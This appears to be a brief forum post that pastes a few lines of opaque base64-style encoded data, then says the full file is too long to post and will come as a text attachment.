VdlJQSDNRdC9IcmFURklqK1FiNStMTFlEWVRNbS9RaDJmSldRWVRDdUo0K1RncW1ZNURtZ2JybmtVdys3TzZTOWlIeUxQZkdlRnNaQ0o3MlZzcU9xSHZqNk

pnTFk0MDVscnJzTlRYMHhJd3J4TmxsL1FYMm00VlJmbXU4M3NxbmhzcXkrTm5IVFVSenV5dVczNk5zbnFXOVZVK0E3ZzBab2h3aHZQY0JQZngzZ0hXZ0lGV

md2M29qeFg2YWloTnlwNWhyK2JUNmdHSXhPUFNxeE54M3dKSExuU3RWN3plWEZHcUxRc3hGUWpyYktYK0x1Vk9lZmpLY2tZbW5pbHNwaXFtL1MreXBvMDdn

eXg5Tk9yU29xeXlnUnRjZW9jNjRwMUhzZGlabWxQZkpYb3phWDhnWm8xVUQrYnN4TnJSbDVObjRFcXNtWjQ5dWw1bEdwQlpNcm9ZQXlaU1N0NmIzMUlXcit

6VmtYeWJ2N1RwSk9Ub1N1V3ptd3RiM2JKT0hsSkoyVGxaenRFUnBZMm1rRU5INFpmT3BFQVIyUDZRbFNTY2gyTnVPL0w4L2t6T1ZzOFdveHBNMnErRkIrQ2

fastburst

The file has tooo many characters to post. will include txt attactment.